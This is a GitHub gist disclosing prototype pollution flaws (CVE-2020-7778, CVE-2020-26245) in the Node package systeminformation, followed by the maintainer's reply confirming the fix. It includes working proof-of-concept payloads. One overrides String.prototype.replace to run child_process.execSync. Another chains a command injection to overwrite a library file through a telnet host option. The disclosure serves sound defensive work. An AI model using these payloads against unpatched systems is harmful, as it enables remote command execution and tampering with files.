Skip to content

Instantly share code, notes, and snippets.

@EffectRenan
Last active December 16, 2020 00:20
Show Gist options
  • Save EffectRenan/b434438938eed0b21b376cedf5c81e80 to your computer and use it in GitHub Desktop.
Save EffectRenan/b434438938eed0b21b376cedf5c81e80 to your computer and use it in GitHub Desktop.
[systeminformation] - Prototype Pollution

Vulnerability: Prototype Pollution - CVE-2020-7778, CVE-2020-26245

Package name: systeminformation.

Tested package versions: 4.30.1, 4.30.2, 4.30.4

Fixed package versions: >= 4.30.5

Description: The attacker can overwrite the properties and functions of an object. It can lead to executing OS commands.

Sensitive file: lib/internet.js.

Steps to reproduce:

Simple test:

const si = require('systeminformation');
const obj = {};

obj.__proto__.polluted = "polluted";

si.inetChecksite("https://effectrenan.com").then((a) => {
   console.log(a.polluted)
})

Prototype Pollution leading to OS command execution:

Payload:

const si = require('systeminformation');
const obj = "";

obj.__proto__.replace = () => { return require("child_process").execSync("<OS command>") };

si.inetChecksite("https://effectrenan.com");

The payload above exploit the replace function, which is called in the lib/internet.js file to sanitize the user input.

let urlSanitized = util.sanitizeShellString(url).toLowerCase();
urlSanitized = urlSanitized.replace(/ /g, '');
urlSanitized = urlSanitized.replace(/\$/g, '');
urlSanitized = urlSanitized.replace(/\(/g, '');
urlSanitized = urlSanitized.replace(/\)/g, '');
urlSanitized = urlSanitized.replace(/{/g, '');
urlSanitized = urlSanitized.replace(/}/g, '');

If in some context the require function is not available, it is possible to exploit the Command Injection vulnerability via CVE-2020-7752.

const URL = "";
const HOST = "127.0.0.1:443"; // CVE-2020-7752
const PAYLOAD = `telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`; // CVE-2020-7752

URL.__proto__.toLowerCase = () => {
   return {
      replace: () => {return PAYLOAD}
   }
}

URL.__proto__.replace = () => {
   return URL;
}

si.inetChecksite("https://effectrenan.com");
@sebhildebrandt
Copy link

@EffectRenan, thank you so much! I think I can work on that. Will provide a solution soon. Learned a lot the last few days ;-)

@sebhildebrandt
Copy link

sebhildebrandt commented Nov 26, 2020

@EffectRenan: done, fixed (hopefully). Your comments where super helpful! Thank you so much! Would be happy, if you can test it on your side. I ran the code above (from yesterday) without any issue. Would you also provide a CVE ID or should I request one via GitHub?

@EffectRenan
Copy link
Author

@sebhildebrandt, It seems to be fixed! Thank you too to resolve this fast and avoid possible malicious usage.
Any problems contact me.

Only the owner of the project can request a CVE. Thank you again!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment